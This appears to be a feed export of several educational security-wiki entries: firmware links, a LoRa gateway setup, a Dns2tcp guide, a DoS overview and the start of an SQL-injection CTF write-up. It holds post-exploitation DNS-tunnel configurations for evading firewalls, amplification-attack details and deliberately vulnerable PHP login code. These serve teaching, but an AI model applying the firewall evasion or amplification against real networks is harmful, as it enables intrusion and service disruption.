&amp;lt;p&amp;gt;The Software is a &amp;quot;commercial item,&amp;quot; as that term is defined at 48 C.F.R. 2.101 (Oct 1995), consisting of &amp;quot;commercial computer software&amp;quot; and &amp;quot;commercial computer software documentation,&amp;quot; as such terms are used in 48 C.F.R. 12.212 (Sept 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.72024 (June 1995), all U.S. Government End Users shall acquire the Software with only those rights set forth herein &amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;GENERAL&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;This Agreement shall be interpreted according to and governed by Japanese law without reference to principles of conflict of laws. Any dispute or procedure shall be heard before the Tokyo District Court in Japan. If for any reason a court of competent jurisdiction finds any portion of this Agreement to be unenforceable, the remainder of this Agreement shall continue in full force and effect. &amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;COMPLETE AGREEMENT&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;This Agreement constitutes the entire agreement between the parties with respect to use of the SOFTWARE and any accompanying written materials and supersedes all prior or contemporaneous understandings or agreements, written or oral, regarding the subject matter of this Agreement. No amendment or revision of this Agreement will be binding unless in writing and signed by a fully authorized representative of Yamaha. &amp;lt;/p&amp;gt;&lt;br /&gt;
          &amp;lt;/div&amp;gt; &lt;br /&gt;
        &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Download&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;Current Version:&amp;lt;/h4&amp;gt;&lt;br /&gt;
* YSP-2700 Firmware: https://europe.yamaha.com/en/support/updates/ysp-2700.html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Known Versions:&amp;lt;/h4&amp;gt;&lt;br /&gt;
* YSP-2700 Ver2.11: https://europe.yamaha.com/files/download/software/2/1252372/YSP2700_FIRMWARE_V211.zip&lt;br /&gt;
* YSP-2700 Ver2.03: https://usa.yamaha.com/files/download/software/6/1150366/YSP2700_FIRMWARE_V203.zip (Broken Link)&lt;br /&gt;
* YSP-2700 Ver1.17: https://uk.yamaha.com/files/download/software/8/960308/YSP2700_V117.zip (Broken Link)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Used Hardware&amp;lt;/h1&amp;gt;&lt;br /&gt;
* [[YAMAHA MusicCast YSP-2700: Soundbar]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;References&amp;lt;/h1&amp;gt;&lt;br /&gt;
* https://www.yamaha.com&lt;br /&gt;
* https://www.yamaha.com/en/about/pdf/corporate_profile_2018_en.pdf&lt;br /&gt;
* https://europe.yamaha.com/en/products/contents/audio_visual/musiccast/index.html&lt;br /&gt;
* https://europe.yamaha.com/en/products/audio_visual/sound_bar/ysp-2700/index.html&lt;br /&gt;
* https://europe.yamaha.com/en/products/audio_visual/apps/musiccast_controller/index.html&lt;br /&gt;
* https://europe.yamaha.com/en/support/updates/ysp-2700.html&lt;br /&gt;
* https://www.npmjs.com/package/yamaha-yxc-nodejs&lt;br /&gt;
* https://github.com/rsc-dev/pyamaha&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Dragino_LoRa_Hat_Single-Channel-Gateway&amp;diff=14622</id>
		<title>Dragino LoRa Hat Single-Channel-Gateway</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Dragino_LoRa_Hat_Single-Channel-Gateway&amp;diff=14622"/>
		<updated>2024-03-12T17:41:28Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;span id=&amp;quot;used-hardware&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
== Used Hardware: ==&lt;br /&gt;
&lt;br /&gt;
* Raspberry Pi 4&lt;br /&gt;
* Dragino Raspberry Pi LoRa/GPS HAT&lt;br /&gt;
* SD Card sufficient for Raspberry Pi OS Installation&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;hardware-assembly&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
== Hardware Assembly ==&lt;br /&gt;
&lt;br /&gt;
Carefully place the HAT onto the Raspberry Pi’s GPIO pins and gently push down. Always remember never to power on the HAT without a mounted antenna, as doing so could result in hardware damage.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;system-setup&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
== System setup ==&lt;br /&gt;
&lt;br /&gt;
For this hardware, a clean install of Raspberry Pi OS is recommended. I recommend using the Raspberry Pi Imager, as it allows you to pre-set ssh settings before flashing the OS.&lt;br /&gt;
&lt;br /&gt;
* Connect to the Raspberry Pi via ssh&lt;br /&gt;
* Enable SPI interface: &#039;&#039;sudo raspi-config&#039;&#039;&lt;br /&gt;
** Select Interface Options -&amp;amp;gt; Select Yes when asked if you want to enable the SPI interface&lt;br /&gt;
* Reboot the Raspberry Pi: &#039;&#039;sudo shutdown -r now&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note&#039;&#039;&#039;: On the Raspberry Pi 4, there can be problems with installing the WiringPi package. If you encounter the same issue with an error message appearing when trying to install it, use the following commands to install a compatible version of WiringPi:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;cd /tmp&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;wget https://project-downloads.drogon.net/wiringpi-latest.deb&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;sudo dpkg -i wiringpi-latest.deb&amp;lt;/code&amp;gt;&lt;br /&gt;
* Check if the correct version was installed: &amp;lt;code&amp;gt;gpio -v&amp;lt;/code&amp;gt;&lt;br /&gt;
** This should output version 2.52.&lt;br /&gt;
&lt;br /&gt;
Once WiringPi is installed and configured correctly, the Dragino LoRa/GPS Hat can be set up to act as a few different things.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;lora-single-channel-gateway&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
=== LoRa Single Channel Gateway ===&lt;br /&gt;
&lt;br /&gt;
The Dragino LoRa Hat can be setup as an 868 MHz single-channel LoRa gateway. To do this, we can leverage existing software. - &#039;&#039;sudo apt install git&#039;&#039; - &#039;&#039;git clone https://github.com/tftelkamp/single_chan_pkt_fwd&#039;&#039; - &#039;&#039;cd ~/single_chan_pkt_fwd&#039;&#039; - &#039;&#039;nano main.cpp&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In the main.cpp file, you can define variables necessary for registering the gateway (e.g. longitude and latitude) - You must also change the server IP to the IP of eu1.cloud.thethings.network (52.212.223.226).&lt;br /&gt;
&lt;br /&gt;
[[File:Server_IP.png]]&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;make&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;sudo ./single_chan_pkt_fwd&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can hit Ctrl+Z to exit the program and close down the gateway - this means the gateway is only running when the command is executed.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;registering-the-gateway-in-the-things-network&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
=== Registering the Gateway in The Things Network ===&lt;br /&gt;
&lt;br /&gt;
After starting the gateway program as stated before, the Gateway ID will be displayed (see image below).&lt;br /&gt;
&lt;br /&gt;
[[File:GatewayID.png]]&lt;br /&gt;
&lt;br /&gt;
You can now register a new gateway in the TTN console with this ID. If everything is configured correctly, you should see some activity coming from the gateway.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; By default, the Things Network will not display single-channel gateways on the map of gateways, as they are considered less reliable. However, for most experimental purposes, they suffice.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Dns2tcp&amp;diff=14621</id>
		<title>Dns2tcp</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Dns2tcp&amp;diff=14621"/>
		<updated>2024-03-12T17:40:40Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Since this is a tool used in Post Exploitation phase, this document will assume that access on the victim machine has already been gained. Configuration on both endpoints are necessary to use this tool.&#039;&#039;&#039;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Dns2tcp is a tool used in order to send TCP packets over DNS traffic and consists of two components - a server tool and a client tool. The server contains a list of ressources, which are defined inside a configuration file. Each of these resources is either a local or remote service, which is waiting for a TCP connection. The client listens to the predetermined TCP port and redirects every incoming connection over DNS to the endservice. In this way, a restrictive firewall, which allows dns traffic, can be evaded.&lt;br /&gt;
&lt;br /&gt;
In order to make full use of this tool, a NS record for a subdomain is needed, which has to point to the address of the server.&lt;br /&gt;
&lt;br /&gt;
Example of a NS entry:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;subdomain IN NS domain.mydomain.at&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Server side configuration ==&lt;br /&gt;
&lt;br /&gt;
In this example, a file called &#039;&#039;dns2tcpdrc&#039;&#039; is created via cat. The server will listen to all IP-addresses, by setting the listen variable as &amp;quot;0.0.0.0&amp;quot;. The port &#039;&#039;&#039;must&#039;&#039;&#039; be 53 as this is the default port for DNS. The domain &#039;&#039;subdomain.mydomain.at&#039;&#039; is the subdomain configured beforehand. The resource &#039;&#039;ssh&#039;&#039; is used, but other services can also be used.&lt;br /&gt;
&lt;br /&gt;
The end file should look similar to the example below:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;cat &amp;gt;.dns2tcpdrc &amp;lt;&amp;lt;END&lt;br /&gt;
listen = 0.0.0.0&lt;br /&gt;
port = 53&lt;br /&gt;
user=nobody&lt;br /&gt;
domain = subdomain.mydomain.at&lt;br /&gt;
resources = ssh:127.0.0.1:22&lt;br /&gt;
END&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The server can now be started by using the command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;dns2tcpd -F [-d 1/2/3] -f .dns2tcpdrc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The flag -F causes the tool to work in the foreground while -f is used in order to set the configuration file. The flag -d can be optionally used in order to set the debug level with 3 being the highest debug level, thus showing the most information.&lt;br /&gt;
&lt;br /&gt;
== Client side configuration ==&lt;br /&gt;
Another configuration file needs to be created on the client machine. It is important to set the same domain and resource as it has been declared in the configuration file on the server side. The &#039;&#039;local_port&#039;&#039; declared is necessary for the last step.&amp;lt;ref name=&amp;quot;kalitools&amp;quot;&amp;gt;https://www.kali.org/tools/dns2tcp/&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Client configuration file example:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;cat &amp;gt;.dns2tcprc &amp;lt;&amp;lt;END&lt;br /&gt;
domain = subdomain.mydomain.at&lt;br /&gt;
resource = ssh&lt;br /&gt;
local_port = 2222&lt;br /&gt;
END&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Testing ===&lt;br /&gt;
Check for available resources:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;dns2tcpc -z subdomain.mydomain.at [server-IP]&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Dns2tcptest.png|alt check for available resources]]&lt;br /&gt;
&lt;br /&gt;
If no available resources are shown, a mistake has been made in the previous configuration. In this case, retrying with the debug level set to a higher level and adding &amp;lt;code&amp;gt;debug_level = 3&amp;lt;/code&amp;gt; to the configuration file might help in order to find the cause of the error.&amp;lt;ref&amp;gt;https://salsa.debian.org/debian/dns2tcp&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Browser Setup ===&lt;br /&gt;
With dns2tcp access to the internet can be gained despite the firewall blocking traffic. In order to make use of this, the browser&#039;s Network Proxy needs to be edited in the settings. The Proxy Access needs to configured as &amp;quot;Manual proxy configuration&amp;quot; and the SOCKS Host needs to have the IP-adress 127.0.0.1. The port has to be set to an open, unused port.&lt;br /&gt;
&lt;br /&gt;
Example settings in firefox using port 8080:&lt;br /&gt;
&lt;br /&gt;
[[File:Proxysettings.png|600px|alt Proxy settings]]&lt;br /&gt;
&lt;br /&gt;
== Execution ==&lt;br /&gt;
&lt;br /&gt;
Start the client:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;dns2tcpc -f .dns2tcprc [server-IP] [-d 1/2/3]&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Open a new terminal and connect to the remote host via ssh using the &#039;&#039;local_port&#039;&#039; from the client&#039;s configuration file and the &#039;&#039;SOCKS-port&#039;&#039; set in the browser configuration:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;[server-user]@127.0.0.1 -p [local_port] -D [SOCKS-port]&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
When opening the web browser now, one is free to access the internet, while many DNS packets are sent between the server and client at a fast rate.&amp;lt;ref name=&amp;quot;kalitools&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Denial_of_Service_Attacks&amp;diff=14620</id>
		<title>Denial of Service Attacks</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Denial_of_Service_Attacks&amp;diff=14620"/>
		<updated>2024-03-12T17:38:09Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Disclaimer ==&lt;br /&gt;
&#039;&#039;&#039;!!! This Entry is still work in Progress !!!&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The up-to-date Entry and Drafts can be found here: [[https://git.fh-campuswien.ac.at/c1710475053/elvis-praktikum/tree/master/Dos%20Attacks]]&lt;br /&gt;
&lt;br /&gt;
== Summary == &lt;br /&gt;
&lt;br /&gt;
This Documentation is about the Basics of Denial of Service and Distributed Denial of Service Attacks.  &lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
Denial of Service or Dos attacks aim to prevent that legitimate users access the comprised component. Due to Cisco, is the Dos Attack one of the seven most common types of cyber-attacks [1]. The reasons of the attacker can have many backgrounds. The Attack can am to cause facial loss to the attacked company by bringing the company website down. For example, in 2015 the by the time biggest DDos attack with 1,35 Tbps rained down on Github and put it off the line for 15 minutes [2]. There can also be a political reason, like in July 2008 where Georgian President Mikheil Saakashvili’s webpage was targeted by a DDos attack. The web page was inaccessible for two days. A trace back attempts showed that Commanding Server is located in Russia [3]. Since Internet of Things (IoT) and Smart Home Devices get more popular, the number of IoT bots used for DDos Attacks rise day by day. This is caused due to poor security of IoT devices and the lack of security firmware updates.&lt;br /&gt;
&lt;br /&gt;
== Difference Between Denial of Service (DoS) and Distributed Denial of Service (DDoS) Attacks  ==&lt;br /&gt;
&lt;br /&gt;
The typical DoS attack is performed from one attacker by flooding the victim server with data. Back than it was possible to take down a small web page with the usage of only one state of the art personal computer. But nowadays it is almost impossible because the internet is dominated by the big domains like google or Amazon. Small websites have the possibility to launch their web page on a server of a big domain which makes a typical DoS attack almost impossible. But Distributed DoS attacks are still able to make a huge impact because the attack gets performed by multiple devices at the same time. This net of attacking devices is called botnet. Botnets get constructed by infecting usual devices threw malware. This botnet devices are also used to flood the internet flood the internet with spam mails [4].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Target points of Denial of Service Attacks  ==&lt;br /&gt;
&lt;br /&gt;
=== Resource Depletion ===&lt;br /&gt;
&lt;br /&gt;
This type attack aims to exhaust resources like power, sockets, memory and computing power to deny any legit resource usage. A well-known example of memory depletion DoS Attack is [[Fork bomb]]. This Program replicates itself until all memory is used up and the system does not allow any new memory allocation. In IoT Networks battery exhaustion attacks are quite common as an attack entry point to take down sensor nodes and make them inaccessible.&lt;br /&gt;
&lt;br /&gt;
=== Bandwidth Depletion ===&lt;br /&gt;
&lt;br /&gt;
Bandwidth Depletion is the most common DoS type for attacking Webservers and Services. The attack can either aim at a whole network or a webserver. The types of a bandwidth depletion attack differ into a standard attack distributed denial of service, amplified dos attacks and Protocol attacks.  &lt;br /&gt;
&lt;br /&gt;
=== Zero Day Attack ===&lt;br /&gt;
&lt;br /&gt;
Zero-day attacks use vulnerabilities that are undiscovered by the manufacturers as the main entry point of the attack. The manufacturer is often powerless against zero-day attack, because he must research the vulnerability before they can take efficient counter measures.&lt;br /&gt;
&lt;br /&gt;
== Types of DoS / DDos Attacks ==&lt;br /&gt;
=== Volunmetric Attacks ===&lt;br /&gt;
&lt;br /&gt;
[[File:Volnumetric DoS Attack.png|thumb|right|400px||Volnumetric DoS Attack]]&lt;br /&gt;
&lt;br /&gt;
A Volumetric attack is performed by a malicious user and his powerful rig. The malicious user sends a flood of ICMP or TCP packets to the victim to deplete its bandwidth or processing power. The basic form of volumetric attacks against websites is not effective anymore, due to the growth of the internet and Webservices. Nowadays Volumetric Attacks are used with Botnets to be much more effective and many other advanced DoS attacks use this principal as their basis.&lt;br /&gt;
&lt;br /&gt;
=== Reflection Attack ===&lt;br /&gt;
&lt;br /&gt;
[[File:Rflection DoS Attack.png|thumb|right|400px||Reflection DoS Attack]]&lt;br /&gt;
&lt;br /&gt;
This type of attack is performed by using a range of innocent proxies to flood the victim network or device with packets. The malicious user simply sends an ICMP Request to his proxies that have been altered with a spoofed IP address header field. The innocent Proxies reply to the victim in a legit way and deplete the victim’s network. The proxies are unknowingly performed a DoS attack and the malicious user can cover his tracks.&lt;br /&gt;
&lt;br /&gt;
=== Amplification Attacks ===&lt;br /&gt;
&lt;br /&gt;
[[File:Amplification DoS Attack.png|thumb|right|400px||Amplification DoS Attack]]&lt;br /&gt;
&lt;br /&gt;
Amplification attacks exploit the connection-less design of UDP which does not validate source IP addresses and Internet Services that send big Response Message data with small requests. One well known example for this is the DNS Amplification Attack. This Attack uses open DNS resolve server which are accessible by everyone. To trigger an amplified response the attacker sends a request for all DNS records of a zone with a spoofed source IP address. This will result in an extremely large stream of response messages to the victim. NTP server can be used quite similar by using the monlist command with a spoofed source IP address. This command triggers a response with the last 600 source IP addresses which used the NTP Service before. This attack has an multiplication factor of 556. Another well-known for amplification used Protocol is the Memcache Protocol that allowed the biggest [https://wiki.elvis.science/index.php?title=DDoS_Attack_on_GitHub DDoS attack of 2018 on GitHub] since then. The following table shows the Amplification factors of Amplifications Attacks[10]:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; | Protocol&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; | Amplification Factor &lt;br /&gt;
|-&lt;br /&gt;
| Memcached&lt;br /&gt;
| 10000 to 50000 &lt;br /&gt;
|-&lt;br /&gt;
| NTP&lt;br /&gt;
| 556.9&lt;br /&gt;
|-&lt;br /&gt;
| QOTD&lt;br /&gt;
| 140.3&lt;br /&gt;
|-&lt;br /&gt;
| WS-Discovery&lt;br /&gt;
| 10 to 500&lt;br /&gt;
|-&lt;br /&gt;
| CLDAP&lt;br /&gt;
| 56 to 70&lt;br /&gt;
|-&lt;br /&gt;
| Quake Network Protocol&lt;br /&gt;
| 63.9&lt;br /&gt;
|-&lt;br /&gt;
| TFTP &lt;br /&gt;
| 60&lt;br /&gt;
|-&lt;br /&gt;
| LDAP&lt;br /&gt;
| 46 to 55&lt;br /&gt;
|-&lt;br /&gt;
| DNS&lt;br /&gt;
| 28 to 54&lt;br /&gt;
|-&lt;br /&gt;
| SSDP&lt;br /&gt;
| 30.8&lt;br /&gt;
|-&lt;br /&gt;
| Portmap (RPCbind)&lt;br /&gt;
| 7 to 28&lt;br /&gt;
|-&lt;br /&gt;
| Kad&lt;br /&gt;
| 16.3&lt;br /&gt;
|-&lt;br /&gt;
| Multicast DNS&lt;br /&gt;
| 2 to 10&lt;br /&gt;
|-&lt;br /&gt;
| SNMPv2&lt;br /&gt;
| 6.3&lt;br /&gt;
|-&lt;br /&gt;
| Steam Protocol&lt;br /&gt;
| 5.5&lt;br /&gt;
|-&lt;br /&gt;
| BitTorrent&lt;br /&gt;
| 3.8&lt;br /&gt;
|-&lt;br /&gt;
| NetBIOS&lt;br /&gt;
| 3.8&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Transport Layer attacks ===&lt;br /&gt;
Transport layer attacks like the [[Blackhole ]] try to be the main route between two networks and then filter their victim’s data traffic. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Application Layer attacks ===&lt;br /&gt;
This type of DoS attacks uses system weaknesses and protocol vulnerabilities to take down servers. Protocol attacks use vulnerabilities in the specification, like ping of death which produces a buffer overflow by sending malformed ICMP packets. Low and Slow attacks are subgroup of Application Layer attacks, that takes down services by using a low bandwidth and proceeding slow. The [[Slow Loris DoS Attack]] exhausts apache2 servers by open multiple HTTP connections and keep them alive as long as possible.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
Introduction:&lt;br /&gt;
&lt;br /&gt;
[1] https://www.cisco.com/c/en/us/products/security/common-cyberattacks.html&lt;br /&gt;
&lt;br /&gt;
[2] https://www.wired.com/story/github-ddos-memcached/&lt;br /&gt;
&lt;br /&gt;
[3] https://ccdcoe.org/uploads/2018/10/12_NAZARIO-Politically-Motivated-DDoS.pdf&lt;br /&gt;
&lt;br /&gt;
Target points of Denial of Service Attacks:&lt;br /&gt;
&lt;br /&gt;
[4] IEEE 2015: Botnet in DDoS Attacks: Trends and Challenge&lt;br /&gt;
&lt;br /&gt;
Types of DoS / DDos Attacks:&lt;br /&gt;
&lt;br /&gt;
[5] https://en.wikipedia.org/wiki/Denial-of-service_attack&lt;br /&gt;
&lt;br /&gt;
[6] IEEE: DDoS Attacks at the Application Layer: Challenges and Research Perspectives for Safeguarding Web Applications&lt;br /&gt;
&lt;br /&gt;
[7] https://blog.cloudflare.com/65gbps-ddos-no-problem/&lt;br /&gt;
&lt;br /&gt;
[8] https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/&lt;br /&gt;
&lt;br /&gt;
[9] https://www.cloudflare.com/learning/ddos/famous-ddos-attacks/&lt;br /&gt;
&lt;br /&gt;
[10]https://www.us-cert.gov/ncas/alerts/TA14-017A&lt;br /&gt;
&lt;br /&gt;
[11] https://web.archive.org/web/20150426090206/http://ha.ckers.org/slowloris&lt;br /&gt;
&lt;br /&gt;
[12] IEEE 2012: DoS Attacks in Mobile Ad Hoc Networks: A Survey&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Defend_The_Web&amp;diff=14619</id>
		<title>Defend The Web</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Defend_The_Web&amp;diff=14619"/>
		<updated>2024-03-12T17:36:54Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:DefendTheWebNetLogo.png|thumb|Logo of DefendTheWeb.net&amp;lt;ref name=&amp;quot;logo&amp;quot;/&amp;gt;]]&lt;br /&gt;
&#039;&#039;&#039;Defend The Web&#039;&#039;&#039; is a Capture the Flag Website that teaches topic about Cyber Security and offers users on-hand-training for their theoretical skills. A free account is needed to access every section of the website. This can be either done by registering a new one from scratch or by using one of the available Single Sign On Providers (SSO Providers) Twitter (aka X), Google or GitHub. After logging in, the user gets redirected to a dashboard that offers information about new content in the articles and community sections as well as the progress in solving CTFs and the user&#039;s current level. Every user can earn medals by finishing challenges, participating in the community, writing articles and other actions on the website. &amp;lt;ref name=&amp;quot;dtw&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Overview ==&lt;br /&gt;
The landing page after logging in is the dashboard which consists of three main parts A) Articles, B) Playground and C) Community.&lt;br /&gt;
&lt;br /&gt;
=== Articles ===&lt;br /&gt;
The article section consists of nine topics. Each article has a read time that depends on the length of the text as well as a counter of how many people have read it. The following list contains the topics and the number of articles within each topic at the time of writing. Topics in bold are directly accessible through the sidebar navigation within the dashboard.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Coding&#039;&#039;&#039; (11)&lt;br /&gt;
* &#039;&#039;&#039;Hacking&#039;&#039;&#039; (21)&lt;br /&gt;
* &#039;&#039;&#039;Privacy&#039;&#039;&#039; (2)&lt;br /&gt;
* Encryption and [https://en.wikipedia.org/wiki/Steganography Steganography] (9)&lt;br /&gt;
* [https://en.wikipedia.org/wiki/Lock_picking Lock Picking] (2)&lt;br /&gt;
* Network security (7)&lt;br /&gt;
* [https://en.wikipedia.org/wiki/Phreaking Phreaking] (1)&lt;br /&gt;
* Talks / videos (11)&lt;br /&gt;
* Miscellaneous (13)&lt;br /&gt;
&lt;br /&gt;
=== Playground ===&lt;br /&gt;
When navigating to the playground, the user is greeted with a list of all levels as well as a recommendation of the next level that may suit the current experience level. The challenges can be filtered using 12 categories.&lt;br /&gt;
Every challenge has a level which is one of bronze, silver or gold, to show the complexity of the challenge. Statistics on how many users have attempted a challenge and how many of them completed it are available after clicking on one of them. Information about who and when the challenge was solved first is available as well as who and when it was completed lastly.&lt;br /&gt;
All challenges, except those in the category realistic, are kept in the same style, requiring the user to enter data into one or more text fields and clicking a button to send the solution. From a usability perspective it is simple to use and easy to understand, focusing only on the objectives that need to be solved. Below the challenge itself, a notes field is available that gives the user the option to write down things that didn&#039;t work or ideas on how to solve the challenge to find those information at the next attempt. This notes are only visible to the user who wrote them and cannot be shared.&lt;br /&gt;
&lt;br /&gt;
=== Community ===&lt;br /&gt;
A forum and Chat function can be found in the community section as well as a function to exchange private messages between users. At the time of writing, the chat function was not working, but a workaround was mentioned in the forum. &amp;lt;ref name=&amp;quot;chatworkaround&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Challenge Write-Up ==&lt;br /&gt;
&lt;br /&gt;
To show how the website works we will play one challenge from start to end. For this demonstration, we chose the challenge &#039;SQLi 1 / SQLi&#039;, which is a SQL injection CTF. As most challenges, we are facing a login screen with a short description of the objective. In this case we have to &#039;Gain access to any users account&#039; by providing an username and a password or by exploiting the site. We can also observe that more than 19,000 users have completed this challenge and that only 52\% of the users that attempted this challenge have actually completed it.&lt;br /&gt;
&lt;br /&gt;
[[File:DefendTheWebNetSqlInjectionA.png|800px|Screenshot of the SQLInjection challenge page showing username and password field]]&lt;br /&gt;
&lt;br /&gt;
To solve this challenge we need some knowledge about SQL injections in general. Before frameworks made it easier and safer to write SQL statements, they were mostly written as strings and the variables were replaced by the script engine. This way an attacker could insert malicious symbols that change the way the query works. The following PHP code snippet uses unchecked user input and inserts it in a SQL query string.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
$username = $_POST[&#039;username&#039;]; &lt;br /&gt;
$password = $_POST[&#039;password&#039;]; &lt;br /&gt;
&lt;br /&gt;
$q = &amp;quot;SELECT * FROM users WHERE user=&#039;$username&#039; and pass=&#039;$password&#039;&amp;quot;; &lt;br /&gt;
$result = mysqli_query($connection, $q);&lt;br /&gt;
$count = mysqli_num_rows($result);&lt;br /&gt;
&lt;br /&gt;
if($count == 1) {  &lt;br /&gt;
 // User successfully logged in&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As we suspect a similar query to be used in the background of the challenge, we use ambiguous characters to get more information. Using the username &amp;quot;silvie&amp;quot; and the password &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt; (a single quote), we get back the error message &amp;lt;code&amp;gt;&amp;quot;Syntax error: SELECT * FROM users WHERE username = &#039;user&#039; AND password = &amp;lt;nowiki&amp;gt;&#039;&#039;&#039;&amp;lt;/nowiki&amp;gt;&amp;quot;&amp;lt;/code&amp;gt;. We can now see the used query and that the single quote invalidated it.&lt;br /&gt;
&lt;br /&gt;
